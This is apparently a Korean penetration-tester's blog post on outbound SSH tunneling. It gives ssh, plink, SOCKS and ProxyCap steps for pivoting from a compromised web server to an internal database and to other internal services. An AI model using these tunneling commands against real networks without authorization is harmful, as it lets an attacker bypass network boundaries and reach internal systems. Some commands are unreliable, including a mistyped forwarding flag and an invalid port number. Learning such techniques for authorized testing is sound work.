SSH Tunneling (OUTBOUND Tunneling)
SSH Tunneling (OUTBOUND Tunneling)
- SSH Tunneling 이란 SSH 프로토콜을 이용해 터널을 만들어 외부에서 접속할 수 없는 내부 영역에 접근할 수 있도록 해주는 기술
[ DB에만 접근할 경우(mysql) ]
- web server에서 원격 포트 포워딩
ssh -R <outbound 가능한 port>:<DB IP>:<DB PORT> <SSH IP> -l <ssh 계정명> |
- 공격자PC에서 plink를 이용하여 <outbound 가능한 port(webserver)>로 로컬 포트포워딩
plink -l 3306:127.0.0.1:<outbound 가능한 port(webserver)> <SSH 계정>@<SSH IP> -pw <비밀번호> |
- 127.0.0.1:3306으로 DB 연결 시도할 경우, 내부 영역의 DB에 접근 가능
[ 모든 서비스에 접근할 경우 ]
- web server에서 socks tool 사용
./socks -p9999 (default:1080 포트 열림) |
- web server에서 plink 이용하여 9999 포트로 연결
./plink -R <outbound 가능한 port>:127.0.0.1:99999 <SSH 계정>@<SSH IP> -pw <비밀번호> |
- 공격자PC에서 plink를 이용하여 <outbound 가능한 port(웹 서버)> 로컬 포트 포워딩
./plink -L 55555:127.0.0.1:<outbound 가능한 port(웹 서버)> <SSH 계정>@<SSH IP> -pw <비밀번호> |
- proxycap Proxies 설정
- proxycap rule 설정
- 공격자가 사용하는 모든 서비스가 SSH 터널을 통해 웹 서버에서 실행
[공유 방법(2개)]
① 공유받으려는 PC에서 공격자의 IP와 outbound 가능한 port(웹 서버)를 proxycap proxies 설정 ② 공격자PC에서 ./plink -R 22222:127.0.0.1:port(웹 서버) [SSH 계정]@[SSH Server IP] -pw [비밀번호] 설정 >> 공유받으려는 PC에서 plink -L 55555:127.0.0.1:22222 [SSH 계정]@[SSH Server IP] -pw [비밀번호] 실행 >> 또는, proxycap 설정 진행 127.0.0.1:22222 |
※ proxycap을 이용하여 접근한 Website가 Burp에 잡히지 않을 경우
※ SSH Tunneling 시 localhost를 사용하는 것 보다 127.0.0.1 을 사용하는 것이 보다 확실하다.(서버 내에 설정이 안되어 있을 경우, localhost 사용 불가한 경우도 존재)
※ lsof -i -nP : 열려있는 port 확인 명령어
'Pentest > [WEB]' 카테고리의 다른 글
CUBRID Database sql Injection 예시 (0) | 2020.08.28 |
---|---|
Python AES Decrypt Code (0) | 2020.04.22 |
CVE-2019-17558 Apach Solr RCE 취약점 (1) | 2020.04.15 |